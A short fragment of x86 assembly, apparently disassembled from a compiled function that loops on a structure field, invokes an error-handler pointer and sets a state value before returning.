mov ecx, dword [esi + 0x1a8]
mov eax, dword [ecx + 8]
test eax, eax
je 0x5b16c9
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x30
call dword [eax]
mov edx, dword [esi + 0x1a8]
mov eax, dword [edx + 8]
test eax, eax
jne 0x5b16b0
mov edx, dword [esi + 0x44]
xor eax, eax
test edx, edx
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret